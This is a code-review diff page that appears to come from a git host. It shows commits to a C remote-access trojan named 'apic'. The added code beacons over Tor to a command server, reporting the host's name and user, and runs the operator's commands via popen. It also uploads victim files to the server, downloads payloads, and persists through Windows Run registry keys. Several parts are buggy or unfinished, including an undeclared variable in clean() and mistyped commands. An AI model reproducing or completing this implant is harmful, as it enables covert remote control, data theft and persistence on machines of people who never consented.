Compare commits

...

10 Commits

2
.gitignore vendored

@ -4,3 +4,5 @@ src/*.o
hds/*.o hds/*.o
apic apic
a.out* a.out*
tor/*
tor

@ -5,15 +5,21 @@
#include <time.h> #include <time.h>
#include <curl/curl.h> #include <curl/curl.h>
#include <unistd.h> #include <unistd.h>
#include <pthread.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFFER_SIZE 256 #define BUFFER_SIZE 256
#define SAVE_FILE "./save" struct MemoryStruct {
char *memory;
struct url_data {
size_t size; size_t size;
char* data;
}; };
enum PostType {json = 0,
file = 1,
string = 2};
char *UID; char *UID;
char *PLATFORM; char *PLATFORM;
char *HOSTNAME; char *HOSTNAME;
@ -29,6 +35,35 @@ long TIME_LAST_ACTIVE;
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
* Utility * Utility
* ------------------------------------------------------------------------ */ * ------------------------------------------------------------------------ */
void copy(char *source, char *dest)
{
FILE* fsource = fopen(source, "rb");
FILE* fdest = fopen(dest, "wb");
size_t n, m;
unsigned char buff[8192];
do {
n = fread(buff, 1, sizeof buff, fsource);
if(n) m = fwrite(buff, 1, n, fdest);
else m = 0;
} while((n > 0) && (n == m));
if(m) perror("copy");
fclose(fsource);
fclose(fdest);
}
char* fileToString(char* file_name)
{
FILE *file = fopen(file_name, "r");
fseek(file, 0, SEEK_END);
long length = ftell(file);
fseek(file, 0, SEEK_SET);
char *buffer = malloc(sizeof(char) * (length + 1));
buffer[length] = '\0';
fread(buffer, sizeof(char), length, file);
fclose(file);
return buffer;
}
char* get_command(char* todo) char* get_command(char* todo)
{ {
char *todo_temp = malloc(BUFFER_SIZE); char *todo_temp = malloc(BUFFER_SIZE);
@ -43,17 +78,20 @@ char* get_command(char* todo)
char* get_args(char* todo) char* get_args(char* todo)
{ {
char *args; char *todo_temp = malloc(strlen(todo)+1);
for (args = todo; *args && *args != ' ' ;args++) strcpy(todo_temp,todo);
{ const char ch = ' ';
if (*args) args++; char *ret;
} ret = strchr(todo_temp, ch);
return args; ret++;
return ret;
} }
int get_args_len(char* todo) int get_args_len(char* todo)
{ {
char *token = strtok(todo, " "); char *todo_temp = malloc(BUFFER_SIZE);
strcpy(todo_temp,todo);
char *token = strtok(todo_temp, " ");
int count = 0; int count = 0;
while (token != NULL) while (token != NULL)
{ {
@ -71,34 +109,15 @@ void succeeded_request()
void failed_request(const char *error) void failed_request(const char *error)
{ {
FAILED_COUNT++; FAILED_COUNT++;
fprintf(stdout,"%s\nConsecutive failed connections: %d\n\n",error,FAILED_COUNT); fprintf(stdout,"%s\nConsecutive failed connections: %d\n\n"
,error,FAILED_COUNT);
} }
char* get_unique_id() char* get_unique_id()
{ {
if(!(UID!= NULL && UID[0] == '\0')) return UID; char *uid = malloc(BUFFER_SIZE);
FILE *f; sprintf(uid,"%s_%d",USERNAME,getuid());
f = fopen(SAVE_FILE,"a+"); return uid;
if(f != NULL) fseek(f, 0, SEEK_END);
if(ftell(f) == 0)
{
fclose(f);
srand(time(0));
int random = rand();
f = fopen(SAVE_FILE,"w");
sprintf(UID,"%s_%d",USERNAME,random);
fprintf(f,"%s",UID);
fclose(f);
return UID;
}
else
{
fclose(f);
f = fopen(SAVE_FILE,"r");
fscanf(f,"%s",UID);
fclose(f);
return UID;
}
} }
long get_time() long get_time()
@ -112,40 +131,36 @@ long get_time()
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
* Request Wrapper * Request Wrapper
* ------------------------------------------------------------------------ */ * ------------------------------------------------------------------------ */
size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) { static size_t
size_t index = data->size; WriteMemoryCallback(void *contents, size_t size, size_t nmemb, void *userp)
size_t n = (size * nmemb); {
char* tmp; size_t realsize = size * nmemb;
data->size += (size * nmemb); struct MemoryStruct *mem = (struct MemoryStruct *)userp;
tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */ char *ptr = realloc(mem->memory, mem->size + realsize + 1);
if(tmp){ if(ptr == NULL) {
data->data = tmp; printf("not enough memory (realloc returned NULL)\n");
}
else
{
if(data->data)
{
free(data->data);
}
fprintf(stderr, "Failed to allocate memory.\n");
return 0; return 0;
} }
memcpy((data->data + index), ptr, n); mem->memory = ptr;
data->data[data->size] = '\0'; memcpy(&(mem->memory[mem->size]), contents, realsize);
return size * nmemb; mem->size += realsize;
mem->memory[mem->size] = 0;
return realsize;
}
static size_t write_data(void *ptr, size_t size, size_t nmemb, void *stream)
{
size_t written = fwrite(ptr, size, nmemb, (FILE *)stream);
return written;
} }
char* get_request(char *path) char* get_request(char *path)
{ {
CURL *curl; CURL *curl;
CURLcode res; CURLcode res;
struct url_data data; struct MemoryStruct chunk;
data.size = 0; chunk.memory = malloc(1);
data.data = malloc(BUFFER_SIZE); chunk.size = 0;
if(data.data == NULL) {
fprintf(stderr, "Failed to allocate memory.\n");
return NULL;
}
curl = curl_easy_init(); curl = curl_easy_init();
if(curl) { if(curl) {
char url[BUFFER_SIZE]; char url[BUFFER_SIZE];
@ -153,60 +168,199 @@ char* get_request(char *path)
strcat(url, path); strcat(url, path);
curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
res = curl_easy_perform(curl); res = curl_easy_perform(curl);
if(res != CURLE_OK) failed_request(curl_easy_strerror(res)); if(res != CURLE_OK) failed_request(curl_easy_strerror(res));
else succeeded_request(); else succeeded_request();
curl_easy_cleanup(curl); curl_easy_cleanup(curl);
} }
return data.data; if(chunk.size == 0) return "";
return chunk.memory;
} }
char* post_request(char *path, char *post_data, bool json) char* post_request(char *path, char *post_data, enum PostType type)
{ {
CURL *curl; CURL *curl;
CURLcode res; CURLcode res;
struct url_data data; struct MemoryStruct chunk;
data.size = 0; chunk.memory = malloc(1);
data.data = malloc(BUFFER_SIZE); chunk.size = 0;
if(data.data == NULL) {
fprintf(stderr, "Failed to allocate memory.\n");
return NULL;
}
curl = curl_easy_init(); curl = curl_easy_init();
if(curl) { if(curl) {
char url[BUFFER_SIZE]; char url[BUFFER_SIZE];
strcpy(url, URL); strcpy(url, URL);
strcat(url, path); strcat(url, path);
struct curl_slist *headers = NULL; struct curl_slist *headers = NULL;
if(json) curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
if(type == json)
{ {
headers = curl_slist_append(headers, "Accept: application/json"); headers = curl_slist_append(headers, "Accept: application/json");
headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Content-Type: application/json");
headers = curl_slist_append(headers, "charset: utf-8"); headers = curl_slist_append(headers, "charset: utf-8");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
} }
else if(type == string)
{
char *escaped_post_data = curl_easy_escape(curl, post_data, strlen(post_data));
char *final_post_data = malloc(strlen(escaped_post_data) + BUFFER_SIZE);
sprintf(final_post_data,"output=%s",escaped_post_data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, final_post_data);
curl_free(escaped_post_data);
}
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
res = curl_easy_perform(curl);
if(res != CURLE_OK) failed_request(curl_easy_strerror(res));
else succeeded_request();
curl_easy_cleanup(curl);
curl_slist_free_all(headers);
}
if(chunk.size == 0) return "";
return chunk.memory;
}
char* upload_request(char *path, char *filename)
{
CURL *curl;
CURLM *multi_handle;
int still_running = 0;
struct curl_httppost *formpost = NULL;
struct curl_httppost *lastptr = NULL;
struct curl_slist *headerlist = NULL;
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "sendfile",
CURLFORM_FILE, filename,
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "filename",
CURLFORM_COPYCONTENTS, filename,
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "submit",
CURLFORM_COPYCONTENTS, "send",
CURLFORM_END);
curl = curl_easy_init();
multi_handle = curl_multi_init();
struct curl_slist *headers = NULL;
if(curl && multi_handle)
{
char url[BUFFER_SIZE];
strcpy(url, URL);
strcat(url, path);
headers = curl_slist_append(headers, "Content-Type: multipart/form-data;");
headers = curl_slist_append(headers, "Expect: ");
curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
curl_multi_add_handle(multi_handle, curl);
curl_multi_perform(multi_handle, &still_running);
while(still_running)
{
struct timeval timeout;
int rc;
CURLMcode mc;
fd_set fdread;
fd_set fdwrite;
fd_set fdexcep;
int maxfd = -1;
long curl_timeo = -1;
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_ZERO(&fdexcep);
timeout.tv_sec = 1;
timeout.tv_usec = 0;
curl_multi_timeout(multi_handle, &curl_timeo);
if(curl_timeo >= 0)
{
timeout.tv_sec = curl_timeo / 1000;
if(timeout.tv_sec > 1)
timeout.tv_sec = 1;
else
timeout.tv_usec = (curl_timeo % 1000) * 1000;
}
mc = curl_multi_fdset(multi_handle, &fdread, &fdwrite, &fdexcep, &maxfd);
if(mc != CURLM_OK)
{
fprintf(stderr, "curl_multi_fdset() failed, code %d.\n", mc);
break;
}
if(maxfd == -1)
{
#ifdef _WIN32
Sleep(100);
rc = 0;
#else
struct timeval wait = { 0, 100 * 1000 };
rc = select(0, NULL, NULL, NULL, &wait);
#endif
}
else
{
rc = select(maxfd + 1, &fdread, &fdwrite, &fdexcep, &timeout);
}
switch(rc)
{
case -1:
break;
case 0:
default:
curl_multi_perform(multi_handle, &still_running);
break;
}
}
curl_multi_cleanup(multi_handle);
curl_easy_cleanup(curl);
curl_formfree(formpost);
curl_slist_free_all(headerlist);
}
return 0;
}
bool download_request(char* url, char* destination)
{
CURL *curl;
CURLcode res;
char *pagefilename = destination;
FILE *pagefile;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); pagefile = fopen(pagefilename, "wb");
if(pagefile)
{
curl_easy_setopt(curl, CURLOPT_WRITEDATA, pagefile);
res = curl_easy_perform(curl); res = curl_easy_perform(curl);
if(res != CURLE_OK) failed_request(curl_easy_strerror(res)); fclose(pagefile);
else succeeded_request(); if(res != CURLE_OK)
{
failed_request(curl_easy_strerror(res));
curl_easy_cleanup(curl); curl_easy_cleanup(curl);
curl_global_cleanup();
return false;
}
} }
return data.data; curl_easy_cleanup(curl);
curl_global_cleanup();
return true;
} }
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
* Action Threads * Action Threads
* ------------------------------------------------------------------------ */ * ------------------------------------------------------------------------ */
char* send_output(char* output, bool newlines) void send_output(char* output, bool newlines)
{ {
char *output_temp = malloc(BUFFER_SIZE); char *output_temp = malloc(strlen(output)+BUFFER_SIZE);
if(output!= NULL && output[0] == '\0') return ""; if(output!= NULL && output[0] == '\0') return;
if(newlines) if(newlines)
{ {
strcpy(output_temp,output); strcpy(output_temp,output);
@ -214,10 +368,8 @@ char* send_output(char* output, bool newlines)
} }
else strcpy(output_temp,output); else strcpy(output_temp,output);
char *path = malloc(BUFFER_SIZE); char *path = malloc(BUFFER_SIZE);
char *post_data = malloc(BUFFER_SIZE);
sprintf(path, "/api/%s/report", get_unique_id()); sprintf(path, "/api/%s/report", get_unique_id());
sprintf(post_data,"output=%s",output_temp); post_request(path, output_temp, string);
return post_request(path, post_data, false);
} }
char* say_hello() char* say_hello()
@ -230,7 +382,140 @@ char* say_hello()
\"hostname\": \"%s\",\ \"hostname\": \"%s\",\
\"username\": \"%s\"}", \"username\": \"%s\"}",
PLATFORM,HOSTNAME,USERNAME); PLATFORM,HOSTNAME,USERNAME);
return post_request(path, post_data, true); return post_request(path, post_data, json);
}
void persist()
{
//#if _WIN32
char *persist_dir = malloc(BUFFER_SIZE);
char *persist_dir_win = malloc(BUFFER_SIZE);
//char *user_dir = getenv("USERPROFILE");
char *user_dir = "~";
sprintf(persist_dir_win,"%s%s",user_dir,"\\apic");
sprintf(persist_dir,"%s%s",user_dir,"/apic");
struct stat st = {0};
if(stat(persist_dir, &st) == -1 || stat(persist_dir_win, &st) == -1)
{
mkdir(persist_dir, 0755);
}
else
{
//pthread_exit(NULL);
return;
}
char *command = malloc(BUFFER_SIZE);
sprintf(command, "cp");
if(system(command) != -1)
{
sprintf(command, "mkdir -p %s/apic && cp ./apic %s/apic", persist_dir, persist_dir);
system(command);
sprintf(command, "mkdir -p %s/tor && cp -r ./tor %s/tor", persist_dir, persist_dir);
system(command);
}
sprintf(command, "copy");
if(system(command) != -1)
{
sprintf(command, "if not exist \"%s\\apic\" mkdir %s\\apic && copy .\\apic %s\\apic",
persist_dir_win, persist_dir_win, persist_dir_win);
system(command);
sprintf(command, "if not exist \"%s\\tor\" mkdir %s\\apic && copyx .\\tor %s\\tor",
persist_dir_win, persist_dir_win, persist_dir_win);
system(command);
}
sprintf(command, "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v apic /t REG_SZ /d \"%s\\apic\\apic.exe\"", persist_dir_win);
system(command);
sprintf(command, "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v tor /t REG_SZ /d \"%s\\tor\\tor\\tor.exe\"", persist_dir_win);
system(command);
printf("Installed!");
printf("\n");
send_output("[+] Installed",true);
//#elif __LINUX__
//TODO
//#endif
//pthread_exit(NULL);
return;
}
void clean()
{
#if _WIN32
sprintf(command, "reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v apic");
system(command);
sprintf(command, "reg deleteHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v tor");
system(command);
printf("Removed!");
printf("\n");
send_output("[+] Removed",true);
#elif __LINUX__
//TODO
#endif
return;
}
void* download(void* input)
{
char *arg1, *arg2;
char *token = strtok(input, " ");
arg1 = token;
token = strtok(NULL, " ");
arg2 = token;
send_output("[*] Downloading ...",true);
bool success = download_request(arg1, arg2);
if(success)
send_output("[+] File downloaded",true);
else
send_output("[!] File download failed",true);
pthread_exit(NULL);
}
void* upload(void* input)
{
FILE *f = fopen(input, "r");
if(f == NULL)
{
send_output("[!] No such file",true);
pthread_exit(NULL);
}
else
{
send_output("[*] Uploading ...",true);
char *path = malloc(BUFFER_SIZE);
sprintf(path, "/api/%s/upload", get_unique_id());
upload_request(path, input);
}
pthread_exit(NULL);
return NULL;
}
void* do_command(void* input)
{
char* instruction = " 2>&1";
char* command = malloc(strlen(input) + strlen(instruction) + BUFFER_SIZE);
sprintf(command, "%s %s",(char*)input, instruction);
char buffer[BUFFER_SIZE*2];
size_t buffer_size = BUFFER_SIZE*2;
char *output = malloc(BUFFER_SIZE*2);
FILE *f = popen(command, "r");
if(f == NULL)
{
send_output("[!] Unable to popen command", true);
pthread_exit(NULL);
}
while(fgets(buffer, sizeof(buffer), f) != NULL) {
if(strlen(output) >= buffer_size-300)
{
buffer_size = buffer_size + BUFFER_SIZE*2;
output = realloc(output, buffer_size);
}
strcat(output, buffer);
}
output = realloc(output, strlen(output) + BUFFER_SIZE);
strcat(output,"\n\n");
pclose(f);
send_output(output, true);
pthread_exit(NULL);
return NULL;
} }
/* ----------------------------------------------------------------------- * /* ----------------------------------------------------------------------- *
@ -247,35 +532,48 @@ void setup()
IDLE_TIME = 60; IDLE_TIME = 60;
INTERVAL = 3; INTERVAL = 3;
TIME_LAST_ACTIVE = get_time(); TIME_LAST_ACTIVE = get_time();
if(getenv("URL") == NULL || getenv("URL_TOR") == NULL)
{
fprintf(stderr, "[!] No Path Variable Set");
exit(0);
}
URL = getenv("URL"); URL = getenv("URL");
URL_TOR = getenv("URL_TOR"); URL_TOR = getenv("URL_TOR");
#if __APPLE__ #if __APPLE__
PLATFORM = "MAC OS"; PLATFORM = "MAC OS";
#elif _WIN32 gethostname(HOSTNAME, BUFFER_SIZE);
getlogin_r(USERNAME, BUFFER_SIZE);
#elif _WIN32
PLATFORM = "WINDOWS"; PLATFORM = "WINDOWS";
#elif __LINUX__ DWORD bufCharCount = BUFFER_SIZE;
GetComputerName(HOSTNAME, &bufCharCount);
GetUserName(USERNAME, &bufCharCount);
INTERVAL = 3 * 100;
#elif __LINUX__
PLATFORM = "LINUX"; PLATFORM = "LINUX";
#else
PLATFORM = "NONE";
#endif
gethostname(HOSTNAME, BUFFER_SIZE); gethostname(HOSTNAME, BUFFER_SIZE);
getlogin_r(USERNAME, BUFFER_SIZE); getlogin_r(USERNAME, BUFFER_SIZE);
#else
PLATFORM = "NONE";
#endif
} }
void run() void run()
{ {
char *todo = malloc(BUFFER_SIZE); char *todo = malloc(BUFFER_SIZE*2);
char *output = malloc(BUFFER_SIZE); char *output = malloc(BUFFER_SIZE);
while(1){ while(1){
todo = say_hello(); todo = say_hello();
if(!(todo!= NULL && todo[0] == '\0')) if(!(todo!= NULL && todo[0] == '\0'))
{ {
printf("%s\n",todo);
IDLE = false; IDLE = false;
TIME_LAST_ACTIVE = get_time(); TIME_LAST_ACTIVE = get_time();
sprintf(output,"$ %s",todo); sprintf(output,"$ %s",todo);
send_output(output, true); send_output(output, true);
char *command = get_command(todo); char *command = get_command(todo);
int args_len = get_args_len(todo); int args_len = get_args_len(todo);
pthread_t tid;
if(strcmp("cd",command) == 0) if(strcmp("cd",command) == 0)
{ {
if(args_len == 0) if(args_len == 0)
@ -283,40 +581,38 @@ void run()
else else
chdir(get_args(todo)); chdir(get_args(todo));
} }
/*
else if(strcmp("upload",command) == 0) else if(strcmp("upload",command) == 0)
{ {
if(args_len == 0)
send_output("Usage: upload <localfile>",true);
else
pthread_create(&tid, NULL, upload, get_args(todo));
} }
else if(strcmp("download",command) == 0) else if(strcmp("download",command) == 0)
{ {
if(args_len != 2)
} send_output("Usage: download <remote_url> <destination>",true);
else if(strcmp("clean",command) == 0) else
{ pthread_create(&tid, NULL, download, get_args(todo));
} }
else if(strcmp("persist",command) == 0) else if(strcmp("persist",command) == 0)
{ {
//pthread_create(&tid, NULL, persist, NULL);
} }
else if(strcmp("exit",command) == 0) /*
{ else if(strcmp("clean",command) == 0)
}
else if(strcmp("zip",command) == 0)
{ {
} }
else if(strcmp("screenshot",command) == 0) else if(strcmp("exit",command) == 0)
{ {
} }
*/
else else
{ {
pthread_create(&tid, NULL, do_command, todo);
} }
*/
} }
else else
{ {
@ -330,6 +626,8 @@ void run()
int main() int main()
{ {
setup(); setup();
run(); persist();
//run();
return 0; return 0;
} }

Loading…
Cancel
Save